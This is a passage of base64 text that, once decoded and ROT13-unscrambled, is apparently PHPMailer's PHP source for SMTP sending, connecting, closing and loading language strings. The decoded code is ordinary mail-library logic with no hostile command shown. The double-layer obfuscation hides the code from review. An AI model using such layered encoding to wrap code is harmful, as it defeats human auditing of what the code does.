pLCBmcnlzOjpGR0JDX1BFVkdWUE5ZKTsKICAgICAgICB9CiAgICAgICAgZXJnaGVhIGdlaHI7CiAgICB9CgogICAgLyoqCiAgICAgKiBUcmcgbmEgdmFmZ25hcHIgZ2IgaGZyIHNiZSBGWkdDIGJjcmVuZ3ZiYWYuCiAgICAgKiBCaXJlZXZxciBndXZmIHNoYXBndmJhIGdiIHlibnEgbGJoZSBiamEgRlpHQyB2emN5cnpyYWduZ3ZiYQogICAgICogQGVyZ2hlYSBGWkdDCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSB0cmdGWkdDVmFmZ25hcHIoKQogICAgewogICAgICAgIHZzICghdmZfYm93cnBnKCRndXZmLT5memdjKSkgewogICAgICAgICAgICAkZ3V2Zi0+ZnpnYyA9IGFyaiBGWkdDOwogICAgICAgIH0KICAgICAgICBlcmdoZWEgJGd1dmYtPmZ6Z2M7CiAgICB9CgogICAgLyoqCiAgICAgKiBGcmFxIHpudnkgaXZuIEZaR0MuCiAgICAgKiBFcmdoZWFmIHNueWZyIHZzIGd1cmVyIHZmIG4gb25xIFpOVlkgU0VCWiwgRVBDRywgYmUgUU5HTiB2YWNoZy4KICAgICAqIEhmcmYgZ3VyIENVQ1pudnlyZUZaR0MgcHluZmYgb2wgcXJzbmh5Zy4KICAgICAqIEBmcnIgQ1VDWm52eXJlOjp0cmdGWkdDVmFmZ25hcHIoKSBnYiBoZnIgbiBxdnNzcmVyYWcgcHluZmYuCiAgICAgKiBAY25lbnogZmdldmF0ICR1cm5xcmUgR3VyIHpyZmZudHIgdXJucXJlZgogICAgICogQGNuZW56IGZnZXZhdCAkb2JxbCBHdXIgenJmZm50ciBvYnFsCiAgICAgKiBAZ3VlYmpmIGN1Y3pudnlyZVJrcHJjZ3ZiYQogICAgICogQGhmcmYgRlpHQwogICAgICogQG5wcHJmZiBjZWJncnBncnEKICAgICAqIEBlcmdoZWEgb2JieXJuYQogICAgICovCiAgICBjZWJncnBncnEgc2hhcGd2YmEgZnpnY0ZyYXEoJHVybnFyZSwgJG9icWwpCiAgICB7CiAgICAgICAgJG9ucV9lcGNnID0gbmVlbmwoKTsKICAgICAgICB2cyAoISRndXZmLT5memdjUGJhYXJwZygkZ3V2Zi0+RlpHQ0JjZ3ZiYWYpKSB7CiAgICAgICAgICAgIGd1ZWJqIGFyaiBjdWN6bnZ5cmVSa3ByY2d2YmEoJGd1dmYtPnluYXQoJ2Z6Z2NfcGJhYXJwZ19zbnZ5cnEnKSwgZnJ5czo6RkdCQ19QRVZHVlBOWSk7CiAgICAgICAgfQogICAgICAgIHZzICghcnpjZ2woJGd1dmYtPkZyYXFyZSkgbmFxICRndXZmLT5pbnl2cW5nck5xcWVyZmYoJGd1dmYtPkZyYXFyZSkpIHsKICAgICAgICAgICAgJGZ6Z2Nfc2VieiA9ICRndXZmLT5GcmFxcmU7CiAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgJGZ6Z2Nfc2VieiA9ICRndXZmLT5TZWJ6OwogICAgICAgIH0KICAgICAgICB2cyAoISRndXZmLT5memdjLT56bnZ5KCRmemdjX3NlYnopKSB7CiAgICAgICAgICAgICRndXZmLT5mcmdSZWViZSgkZ3V2Zi0+eW5hdCgnc2Viel9zbnZ5cnEnKSAuICRmemdjX3NlYnogLiAnIDogJyAuIHZ6Y3licXIoJywnLCAkZ3V2Zi0+ZnpnYy0+dHJnUmVlYmUoKSkpOwogICAgICAgICAgICBndWViaiBhcmogY3Vjem52eXJlUmtwcmNndmJhKCRndXZmLT5SZWViZVZhc2IsIGZyeXM6OkZHQkNfUEVWR1ZQTlkpOwogICAgICAgIH0KCiAgICAgICAgLy8gTmdncnpjZyBnYiBmcmFxIGdiIG55eSBlcnB2Y3ZyYWdmCiAgICAgICAgc2Jlcm5wdSAobmVlbmwoJGd1dmYtPmdiLCAkZ3V2Zi0+cHAsICRndXZmLT5vcHApIG5mICRnYnRlYmhjKSB7CiAgICAgICAgICAgIHNiZXJucHUgKCRnYnRlYmhjIG5mICRnYikgewogICAgICAgICAgICAgICAgdnMgKCEkZ3V2Zi0+ZnpnYy0+ZXJwdmN2cmFnKCRnYlswXSkpIHsKICAgICAgICAgICAgICAgICAgICAkcmVlYmUgPSAkZ3V2Zi0+ZnpnYy0+dHJnUmVlYmUoKTsKICAgICAgICAgICAgICAgICAgICAkb25xX2VwY2dbXSA9IG5lZW5sKCdnYicgPT4gJGdiWzBdLCAncmVlYmUnID0+ICRyZWViZVsncXJnbnZ5J10pOwogICAgICAgICAgICAgICAgICAgICR2ZkZyYWcgPSBzbnlmcjsKICAgICAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAgICAgJHZmRnJhZyA9IGdlaHI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkZ3V2Zi0+cWJQbnl5b25weCgkdmZGcmFnLCBuZWVubCgkZ2JbMF0pLCBuZWVubCgpLCBuZWVubCgpLCAkZ3V2Zi0+Rmhvd3JwZywgJG9icWwsICRndXZmLT5TZWJ6KTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gQmF5bCBmcmFxIGd1ciBRTkdOIHBienpuYXEgdnMganIgdW5pciBpdm5veXIgZXJwdmN2cmFnZgogICAgICAgIHZzICgocGJoYWcoJGd1dmYtPm55eV9lcnB2Y3ZyYWdmKSA+IHBiaGFnKCRvbnFfZXBjZykpIG5hcSAhJGd1dmYtPmZ6Z2MtPnFuZ24oJHVybnFyZSAuICRvYnFsKSkgewogICAgICAgICAgICBndWViaiBhcmogY3Vjem52eXJlUmtwcmNndmJhKCRndXZmLT55bmF0KCdxbmduX2FiZ19ucHByY2dycScpLCBmcnlzOjpGR0JDX1BFVkdWUE5ZKTsKICAgICAgICB9CiAgICAgICAgdnMgKCRndXZmLT5GWkdDWHJyY055dmlyKSB7CiAgICAgICAgICAgICRndXZmLT5memdjLT5lcmZyZygpOwogICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICRndXZmLT5memdjLT5kaHZnKCk7CiAgICAgICAgICAgICRndXZmLT5memdjLT5weWJmcigpOwogICAgICAgIH0KICAgICAgICAvL1Blcm5nciByZWViZSB6cmZmbnRyIHNiZSBuYWwgb25xIG5xcWVyZmZyZgogICAgICAgIHZzIChwYmhhZygkb25xX2VwY2cpID4gMCkgewogICAgICAgICAgICAkcmVlZmdlID0gJyc7CiAgICAgICAgICAgIHNiZXJucHUgKCRvbnFfZXBjZyBuZiAkb25xKSB7CiAgICAgICAgICAgICAgICAkcmVlZmdlIC49ICRvbnFbJ2diJ10gLiAnOiAnIC4gJG9ucVsncmVlYmUnXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBndWViaiBhcmogY3Vjem52eXJlUmtwcmNndmJhKAogICAgICAgICAgICAgICAgJGd1dmYtPnluYXQoJ2VycHZjdnJhZ2Zfc252eXJxJykgLiAkcmVlZmdlLAogICAgICAgICAgICAgICAgZnJ5czo6RkdCQ19QQkFHVkFIUgogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICBlcmdoZWEgZ2VocjsKICAgIH0KCiAgICAvKioKICAgICAqIFZhdmd2bmdyIG4gcGJhYXJwZ3ZiYSBnYiBuYSBGWkdDIGZyZWlyZS4KICAgICAqIEVyZ2hlYWYgc255ZnIgdnMgZ3VyIGJjcmVuZ3ZiYSBzbnZ5cnEuCiAgICAgKiBAY25lbnogbmVlbmwgJGJjZ3ZiYWYgTmEgbmVlbmwgYnMgYmNndmJhZiBwYnpjbmd2b3lyIGp2Z3UgZmdlcm56X3BiYWdya2dfcGVybmdyKCkKICAgICAqIEBoZnJmIEZaR0MKICAgICAqIEBucHByZmYgY2hveXZwCiAgICAgKiBAZ3VlYmpmIGN1Y3pudnlyZVJrcHJjZ3ZiYQogICAgICogQGVyZ2hlYSBvYmJ5cm5hCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBmemdjUGJhYXJwZygkYmNndmJhZiA9IGFoeXkpCiAgICB7CiAgICAgICAgdnMgKHZmX2FoeXkoJGd1dmYtPmZ6Z2MpKSB7CiAgICAgICAgICAgICRndXZmLT5memdjID0gJGd1dmYtPnRyZ0ZaR0NWYWZnbmFwcigpOwogICAgICAgIH0KCiAgICAgICAgLy9WcyBhYiBiY2d2YmFmIG5lciBjZWJpdnFycSwgaGZyIGp1bmdyaXJlIHZmIGZyZyB2YSBndXIgdmFmZ25hcHIKICAgICAgICB2cyAodmZfYWh5eSgkYmNndmJhZikpIHsKICAgICAgICAgICAgJGJjZ3ZiYWYgPSAkZ3V2Zi0+RlpHQ0JjZ3ZiYWY7CiAgICAgICAgfQoKICAgICAgICAvLyBOeWVybnFsIHBiYWFycGdycT8KICAgICAgICB2cyAoJGd1dmYtPmZ6Z2MtPnBiYWFycGdycSgpKSB7CiAgICAgICAgICAgIGVyZ2hlYSBnZWhyOwogICAgICAgIH0KCiAgICAgICAgJGd1dmYtPmZ6Z2MtPmZyZ0d2enJiaGcoJGd1dmYtPkd2enJiaGcpOwogICAgICAgICRndXZmLT5memdjLT5mcmdRcm9odFlyaXJ5KCRndXZmLT5GWkdDUXJvaHQpOwogICAgICAgICRndXZmLT5memdjLT5mcmdRcm9odEJoZ2NoZygkZ3V2Zi0+UXJvaHRiaGdjaGcpOwogICAgICAgICRndXZmLT5memdjLT5mcmdJcmVjKCRndXZmLT5xYl9pcmVjKTsKICAgICAgICAkdWJmZ2YgPSBya2N5YnFyKCc7JywgJGd1dmYtPlViZmcpOwogICAgICAgICR5bmZncmtwcmNndmJhID0gYWh5eTsKCiAgICAgICAgc2Jlcm5wdSAoJHViZmdmIG5mICR1YmZncmFnZWwpIHsKICAgICAgICAgICAgJHViZmd2YXNiID0gbmVlbmwoKTsKICAgICAgICAgICAgdnMgKCFjZXJ0X3puZ3B1KAogICAgICAgICAgICAgICAgJy9eKChmZnl8Z3lmKTpcL1wvKSooW24tbU4tTTAtOVwuLV0qfFxbW24tc04tUzAtOTpdK1xdKTo/KFswLTldKikkLycsCiAgICAgICAgICAgICAgICBnZXZ6KCR1YmZncmFnZWwpLAogICAgICAgICAgICAgICAgJHViZmd2YXNiCiAgICAgICAgICAgICkpIHsKICAgICAgICAgICAgICAgIC8vIEFiZyBuIGlueXZxIHViZmcgcmFnZWwKICAgICAgICAgICAgICAgICRndXZmLT5ycXJvaHQoJ1Z0YWJldmF0IHZhaW55dnEgdWJmZzogJyAuICR1YmZncmFnZWwpOwogICAgICAgICAgICAgICAgcGJhZ3ZhaHI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gJHViZmd2YXNiWzJdOiBiY2d2YmFueSBmZnkgYmUgZ3lmIGNlcnN2awogICAgICAgICAgICAvLyAkdWJmZ3Zhc2JbM106IGd1ciB1YmZnYW56cgogICAgICAgICAgICAvLyAkdWJmZ3Zhc2JbNF06IGJjZ3ZiYW55IGNiZWcgYWh6b3JlCiAgICAgICAgICAgIC8vIEd1ciB1YmZnIGZnZXZhdCBjZXJzdmsgcG5hIGdyemNiZW5ldnlsIGJpcmVldnFyIGd1ciBwaGVlcmFnIGZyZ2d2YXQgc2JlIEZaR0NGcnBoZXIKICAgICAgICAgICAgLy8gVnMgdmcnZiBhYmcgZmNycHZzdnJxLCBndXIgcXJzbmh5ZyBpbnlociB2ZiBoZnJxCiAgICAgICAgICAgICRjZXJzdmsgPSAnJzsKICAgICAgICAgICAgJGZycGhlciA9ICRndXZmLT5GWkdDRnJwaGVyOwogICAgICAgICAgICAkZ3lmID0gKCRndXZmLT5GWkdDRnJwaGVyID09ICdneWYnKTsKICAgICAgICAgICAgdnMgKCdmZnknID09ICR1YmZndmFzYlsyXSBiZSAoJycgPT0gJHViZmd2YXNiWzJdIG5hcSAnZmZ5JyA9PSAkZ3V2Zi0+RlpHQ0ZycGhlcikpIHsKICAgICAgICAgICAgICAgICRjZXJzdmsgPSAnZmZ5Oi8vJzsKICAgICAgICAgICAgICAgICRneWYgPSBzbnlmcjsgLy8gUG5hJ2cgdW5pciBGRlkgbmFxIEdZRiBuZyBndXIgZm56ciBndnpyCiAgICAgICAgICAgICAgICAkZnJwaGVyID0gJ2ZmeSc7CiAgICAgICAgICAgIH0gcnlmcnZzICgkdWJmZ3Zhc2JbMl0gPT0gJ2d5ZicpIHsKICAgICAgICAgICAgICAgICRneWYgPSBnZWhyOwogICAgICAgICAgICAgICAgLy8gZ3lmIHFicmZhJ2cgaGZyIG4gY2Vyc3ZrCiAgICAgICAgICAgICAgICAkZnJwaGVyID0gJ2d5Zic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy9RYiBqciBhcnJxIGd1ciBCY3JhRkZZIHJrZ3JhZnZiYT8KICAgICAgICAgICAgJGZmeXJrZyA9IHFyc3ZhcnEoJ0JDUkFGRllfTllUQl9GVU4xJyk7CiAgICAgICAgICAgIHZzICgnZ3lmJyA9PT0gJGZycGhlciBiZSAnZmZ5JyA9PT0gJGZycGhlcikgewogICAgICAgICAgICAgICAgLy9QdXJweCBzYmUgbmEgQmNyYUZGWSBwYmFmZ25hZyBlbmd1cmUgZ3VuYSBoZnZhdCBya2dyYWZ2YmFfeWJucXJxLCBqdXZwdSB2ZiBmYnpyZ3Z6cmYgcXZmbm95cnEKICAgICAgICAgICAgICAgIHZzICghJGZmeXJrZykgewogICAgICAgICAgICAgICAgICAgIGd1ZWJqIGFyaiBjdWN6bnZ5cmVSa3ByY2d2YmEoJGd1dmYtPnluYXQoJ3JrZ3JhZnZiYV96dmZmdmF0JykuJ2JjcmFmZnknLCBmcnlzOjpGR0JDX1BFVkdWUE5ZKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkdWJmZyA9ICR1YmZndmFzYlszXTsKICAgICAgICAgICAgJGNiZWcgPSAkZ3V2Zi0+Q2JlZzsKICAgICAgICAgICAgJGdjYmVnID0gKHZhZ3J0cmUpJHViZmd2YXNiWzRdOwogICAgICAgICAgICB2cyAoJGdjYmVnID4gMCBuYXEgJGdjYmVnIDwgNjU1MzYpIHsKICAgICAgICAgICAgICAgICRjYmVnID0gJGdjYmVnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHZzICgkZ3V2Zi0+ZnpnYy0+cGJhYXJwZygkY2Vyc3ZrIC4gJHViZmcsICRjYmVnLCAkZ3V2Zi0+R3Z6cmJoZywgJGJjZ3ZiYWYpKSB7CiAgICAgICAgICAgICAgICBnZWwgewogICAgICAgICAgICAgICAgICAgIHZzICgkZ3V2Zi0+VXJ5YikgewogICAgICAgICAgICAgICAgICAgICAgICAkdXJ5eWIgPSAkZ3V2Zi0+VXJ5YjsKICAgICAgICAgICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgICAgICAgICAkdXJ5eWIgPSAkZ3V2Zi0+ZnJlaXJlVWJmZ2FuenIoKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJGd1dmYtPmZ6Z2MtPnVyeXliKCR1cnl5Yik7CiAgICAgICAgICAgICAgICAgICAgLy9OaGdiem5ndnBueXlsIHJhbm95ciBHWUYgcmFwZWxjZ3ZiYSB2czoKICAgICAgICAgICAgICAgICAgICAvLyAqIHZnJ2YgYWJnIHF2Zm5veXJxCiAgICAgICAgICAgICAgICAgICAgLy8gKiBqciB1bmlyIGJjcmFmZnkgcmtncmFmdmJhCiAgICAgICAgICAgICAgICAgICAgLy8gKiBqciBuZXIgYWJnIG55ZXJucWwgaGZ2YXQgRkZZCiAgICAgICAgICAgICAgICAgICAgLy8gKiBndXIgZnJlaXJlIGJzc3JlZiBGR05FR0dZRgogICAgICAgICAgICAgICAgICAgIHZzICgkZ3V2Zi0+RlpHQ05oZ2JHWUYgbmFxICRmZnlya2cgbmFxICRmcnBoZXIgIT0gJ2ZmeScgbmFxICRndXZmLT5memdjLT50cmdGcmVpcmVSa2coJ0ZHTkVHR1lGJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGd5ZiA9IGdlaHI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHZzICgkZ3lmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHZzICghJGd1dmYtPmZ6Z2MtPmZnbmVnR1lGKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGd1ZWJqIGFyaiBjdWN6bnZ5cmVSa3ByY2d2YmEoJGd1dmYtPnluYXQoJ3BiYWFycGdfdWJmZycpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBKciB6aGZnIGVyZnJhcSBSVVlCIG5zZ3JlIEdZRiBhcnRiZ3ZuZ3ZiYQogICAgICAgICAgICAgICAgICAgICAgICAkZ3V2Zi0+ZnpnYy0+dXJ5eWIoJHVyeXliKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgdnMgKCRndXZmLT5GWkdDTmhndSkgewogICAgICAgICAgICAgICAgICAgICAgICB2cyAoISRndXZmLT5memdjLT5uaGd1cmFndnBuZ3IoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZ3V2Zi0+SGZyZWFuenIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZ3V2Zi0+Q25mZmpiZXEsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZ3V2Zi0+TmhndUdsY3IsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZ3V2Zi0+RXJueXosCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZ3V2Zi0+SmJleGZnbmd2YmEKICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGd1ZWJqIGFyaiBjdWN6bnZ5cmVSa3ByY2d2YmEoJGd1dmYtPnluYXQoJ25oZ3VyYWd2cG5ncicpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlcmdoZWEgZ2VocjsKICAgICAgICAgICAgICAgIH0gcG5ncHUgKGN1Y3pudnlyZVJrcHJjZ3ZiYSAkcmtwKSB7CiAgICAgICAgICAgICAgICAgICAgJHluZmdya3ByY2d2YmEgPSAkcmtwOwogICAgICAgICAgICAgICAgICAgICRndXZmLT5ycXJvaHQoJHJrcC0+dHJnWnJmZm50cigpKTsKICAgICAgICAgICAgICAgICAgICAvLyBKciB6aGZnIHVuaXIgcGJhYXJwZ3JxLCBvaGcgZ3VyYSBzbnZ5cnEgR1lGIGJlIE5oZ3UsIGZiIHB5YmZyIHBiYWFycGd2YmEgYXZwcnlsCiAgICAgICAgICAgICAgICAgICAgJGd1dmYtPmZ6Z2MtPmRodmcoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyBWcyBqciB0cmcgdXJlciwgbnl5IHBiYWFycGd2YmEgbmdncnpjZ2YgdW5pciBzbnZ5cnEsIGZiIHB5YmZyIHBiYWFycGd2YmEgdW5lcQogICAgICAgICRndXZmLT5memdjLT5weWJmcigpOwogICAgICAgIC8vIE5mIGpyJ2lyIHBuaHR1ZyBueXkgcmtwcmNndmJhZiwgd2hmZyBlcmNiZWcganVuZ3JpcmUgZ3VyIHluZmcgYmFyIGpuZgogICAgICAgIHZzICgkZ3V2Zi0+cmtwcmNndmJhZiBuYXEgIXZmX2FoeXkoJHluZmdya3ByY2d2YmEpKSB7CiAgICAgICAgICAgIGd1ZWJqICR5bmZncmtwcmNndmJhOwogICAgICAgIH0KICAgICAgICBlcmdoZWEgc255ZnI7CiAgICB9CgogICAgLyoqCiAgICAgKiBQeWJmciBndXIgbnBndmlyIEZaR0MgZnJmZnZiYSB2cyBiYXIgcmt2ZmdmLgogICAgICogQGVyZ2hlYSBpYnZxCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBmemdjUHliZnIoKQogICAgewogICAgICAgIHZzICh2Zl9uKCRndXZmLT5memdjLCAnRlpHQycpKSB7CiAgICAgICAgICAgIHZzICgkZ3V2Zi0+ZnpnYy0+cGJhYXJwZ3JxKCkpIHsKICAgICAgICAgICAgICAgICRndXZmLT5memdjLT5kaHZnKCk7CiAgICAgICAgICAgICAgICAkZ3V2Zi0+ZnpnYy0+cHliZnIoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEZyZyBndXIgeW5hdGhudHIgc2JlIHJlZWJlIHpyZmZudHJmLgogICAgICogRXJnaGVhZiBzbnlmciB2cyB2ZyBwbmFhYmcgeWJucSBndXIgeW5hdGhudHIgc3Z5ci4KICAgICAqIEd1ciBxcnNuaHlnIHluYXRobnRyIHZmIFJhdHl2ZnUuCiAgICAgKiBAY25lbnogZmdldmF0ICR5bmF0cGJxciBWRkIgNjM5LTEgMi1wdW5lbnBncmUgeW5hdGhudHIgcGJxciAoci50LiBTZXJhcHUgdmYgInNlIikKICAgICAqIEBjbmVueiBmZ2V2YXQgJHluYXRfY25ndSBDbmd1IGdiIGd1ciB5bmF0aG50ciBzdnlyIHF2ZXJwZ2JlbCwganZndSBnZW52eXZhdCBmcmNuZW5nYmUgKGZ5bmZ1KQogICAgICogQGVyZ2hlYSBvYmJ5cm5hCiAgICAgKiBAbnBwcmZmIGNob3l2cAogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgZnJnWW5hdGhudHIoJHluYXRwYnFyID0gJ3JhJywgJHluYXRfY25ndSA9ICcnKQogICAgewogICAgICAgIC8vIE9ucHhqbmVxZiBwYnpjbmd2b3Z5dmdsIHNiZSBlcmFuenJxIHluYXRobnRyIHBicXJmCiAgICAgICAgJGVyYW56cnFfeW5hdHBicXJmID0gbmVlbmwoCiAgICAgICAgICAgICdvZScgPT4gJ2NnX29lJywKICAgICAgICAgICAgJ3BtJyA9PiAncGYnLAogICAgICAgICAgICAncXgnID0+ICdxbicsCiAgICAgICAgICAgICdhYicgPT4gJ2FvJywKICAgICAgICAgICAgJ2ZyJyA9PiAnZmknLAogICAgICAgICAgICAnZmUnID0+ICdlZicKICAgICAgICApOwoKICAgICAgICB2cyAodmZmcmcoJGVyYW56cnFfeW5hdHBicXJmWyR5bmF0cGJxcl0pKSB7CiAgICAgICAgICAgICR5bmF0cGJxciA9ICRlcmFuenJxX3luYXRwYnFyZlskeW5hdHBicXJdOwogICAgICAgIH0KCiAgICAgICAgLy8gUXJzdmFyIHNoeXkgZnJnIGJzIGdlbmFmeW5nbm95ciBmZ2V2YXRmIHZhIFJhdHl2ZnUKICAgICAgICAkQ1VDWk5WWVJFX1lOQVQgPSBuZWVubCgKICAgICAgICAgICAgJ25oZ3VyYWd2cG5ncicgPT4gJ0ZaR0MgUmVlYmU6IFBiaHlxIGFiZyBuaGd1cmFndnBuZ3IuJywKICAgICAgICAgICAgJ3BiYWFycGdfdWJmZycgPT4gJ0ZaR0MgUmVlYmU6IFBiaHlxIGFiZyBwYmFhcnBnIGdiIEZaR0MgdWJmZy4nLAogICAgICAgICAgICAncW5nbl9hYmdfbnBwcmNncnEnID0+ICdGWkdDIFJlZWJlOiBxbmduIGFiZyBucHByY2dycS4nLAogICAgICAgICAgICAncnpjZ2xfenJmZm50cicgPT4gJ1pyZmZudHIgb2JxbCByemNnbCcsCiAgICAgICAgICAgICdyYXBicXZhdCcgPT4gJ0hheGFiamEgcmFwYnF2YXQ6ICcsCiAgICAgICAgICAgICdya3JwaGdyJyA9PiAnUGJoeXEgYWJnIHJrcnBoZ3I6ICcsCiAgICAgICAgICAgICdzdnlyX25wcHJmZicgPT4gJ1BiaHlxIGFiZyBucHByZmYgc3Z5cjogJywKICAgICAgICAgICAgJ3N2eXJfYmNyYScgPT4gJ1N2eXIgUmVlYmU6IFBiaHlxIGFiZyBiY3JhIHN2eXI6ICcsCiAgICAgICAgICAgICdzZWJ6X3NudnlycScgPT4gJ0d1ciBzYnl5Ymp2YXQgU2VieiBucXFlcmZmIHNudnlycTogJywKICAgICAgICAgICAgJ3ZhZmduYWd2bmdyJyA9PiAnUGJoeXEgYWJnIHZhZmduYWd2bmdyIHpudnkgc2hhcGd2YmEuJywKICAgICAgICAgICAgJ3ZhaW55dnFfbnFxZXJmZicgPT4gJ1ZhaW55dnEgbnFxZXJmZjogJywKICAgICAgICAgICAgJ3pudnlyZV9hYmdfZmhjY2JlZ3JxJyA9PiAnIHpudnlyZSB2ZiBhYmcgZmhjY2JlZ3JxLicsCiAgICAgICAgICAgICdjZWJpdnFyX25xcWVyZmYnID0+ICdMYmggemhmZyBjZWJpdnFyIG5nIHlybmZnIGJhciBlcnB2Y3ZyYWcgcnpudnkgbnFxZXJmZi4nLAogICAgICAgICAgICAnZXJwdmN2cmFnZl9zbnZ5cnEnID0+ICdGWkdDIFJlZWJlOiBHdXIgc2J5eWJqdmF0IGVycHZjdnJhZ2Ygc252eXJxOiAnLAogICAgICAgICAgICAnZnZ0YXZhdCcgPT4gJ0Z2dGF2YXQgUmVlYmU6ICcsCiAgICAgICAgICAgICdmemdjX3BiYWFycGdfc252eXJxJyA9PiAnRlpHQyBwYmFhcnBnKCkgc252eXJxLicsCiAgICAgICAgICAgICdmemdjX3JlZWJlJyA9PiAnRlpHQyBmcmVpcmUgcmVlYmU6ICcsCiAgICAgICAgICAgICdpbmV2bm95cl9mcmcnID0+ICdQbmFhYmcgZnJnIGJlIGVyZnJnIGluZXZub3lyOiAnLAogICAgICAgICAgICAncmtncmFmdmJhX3p2ZmZ2YXQnID0+ICdSa2dyYWZ2YmEgenZmZnZhdDogJwogICAgICAgICk7CiAgICAgICAgdnMgKHJ6Y2dsKCR5bmF0X2NuZ3UpKSB7CiAgICAgICAgICAgIC8vIFBueXBoeW5nciBuYSBub2ZieWhnciBjbmd1IGZiIHZnIHBuYSBqYmV4IHZzIFBKUSB2ZiBhYmcgdXJlcgogICAgICAgICAgICAkeW5hdF9jbmd1ID0gcXZlYW56cihfX1NWWVJfXykuIFFWRVJQR0JFTF9GUkNORU5HQkUgLiAneW5hdGhudHInLiBRVkVSUEdCRUxfRlJDTkVOR0JFOwogICAgICAgIH0KICAgICAgICAvL0lueXZxbmdyICR5bmF0cGJxcgogICAgICAgIHZzICghY2VydF96bmdwdSgnL15bbi1tXXsyfSg/Ol9bbi1tTi1NXXsyfSk/JC8nLCAkeW5hdHBicXIpKSB7CiAgICAgICAgICAgICR5bmF0cGJxciA9ICdyYSc7CiAgICAgICAgfQogICAgICAgICRzYmhhcXluYXQgPSBnZWhyOwogICAgICAgICR5bmF0X3N2eXIgPSAkeW5hdF9jbmd1IC4gJ2N1Y3pudnlyZS55bmF0LScgLiAkeW5hdHBicXIgLiAnLmN1Yyc7CiAgICAgICAgLy8gR3VyZXIgdmYgYWIgUmF0eXZmdSBnZW5hZnluZ3ZiYSBzdnlyCiAgICAgICAgdnMgKCR5bmF0cGJxciAhPSAncmEnKSB7CiAgICAgICAgICAgIC8vIFpueHIgZmhlciB5bmF0aG50ciBzdnlyIGNuZ3UgdmYgZXJucW5veXIKICAgICAgICAgICAgdnMgKCFmcnlzOjp2ZkNyZXp2Z2dycUNuZ3UoJHluYXRfc3Z5cikgYmUgIXZmX2VybnFub3lyKCR5bmF0X3N2eXIpKSB7CiAgICAgICAgICAgICAgICAkc2JoYXF5bmF0ID0gc255ZnI7CiAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAvLyBCaXJlamV2Z3IgeW5hdGhudHItZmNycHZzdnAgZmdldmF0Zi4KICAgICAgICAgICAgICAgIC8vIEd1dmYgam5sIGpyJ3l5IGFyaXJlIHVuaXIgenZmZnZhdCBnZW5hZnluZ3ZiYSB4cmxmLgogICAgICAgICAgICAgICAgJHNiaGFxeW5hdCA9IHZhcHlocXIgJHluYXRfc3Z5cjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkZ3V2Zi0+eW5hdGhudHIgPSAkQ1VDWk5WWVJFX1lOQVQ7CiAgICAgICAgZXJnaGVhIChvYmJ5cm5hKSRzYmhhcXluYXQ7IC8vIEVyZ2hlYWYgc255ZnIgdnMgeW5hdGhudHIgYWJnIHNiaGFxCiAgICB9CgogICAgLyoqCiAgICAgKiBUcmcgZ3VyIG5lZW5sIGJzIGZnZXZhdGYgc2JlIGd1ciBwaGVlcmFnIHluYXRobnRyLgogICAgICogQGVyZ2hlYSBuZWVubAogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgdHJnR2VuYWZ5bmd2YmFmKCkKICAgIHsKICAgICAgICBlcmdoZWEgJGd1dmYtPnluYXRobnRyOwogICAgfQoKICAgIC8qKgogICAgICogUGVybmdyIGVycHZjdnJhZyB1cm5xcmVmLgogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBjbmVueiBmZ2V2YXQgJGdsY3IKICAgICAqIEBjbmVueiBuZWVubCAkbnFxZSBOYSBuZWVubCBicyBlcnB2Y3ZyYWcsCiAgICAgKiBqdXJlciBybnB1IGVycHZjdnJhZyB2ZiBuIDItcnlyenJhZyB2YXFya3JxIG5lZW5sIGp2Z3UgcnlyenJhZyAwIHBiYWdudmF2YXQgbmEgbnFxZXJmZgogICAgICogbmFxIHJ5cnpyYWcgMSBwYmFnbnZhdmF0IG4gYW56ciwgeXZ4cjoKICAgICAqIG5lZW5sKG5lZW5sKCd3YnJAcmtuemN5ci5wYnonLCAnV2JyIEhmcmUnKSwgbmVlbmwoJ21ickBya256Y3lyLnBieicsICdNYnIgSGZyZScpKQogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIG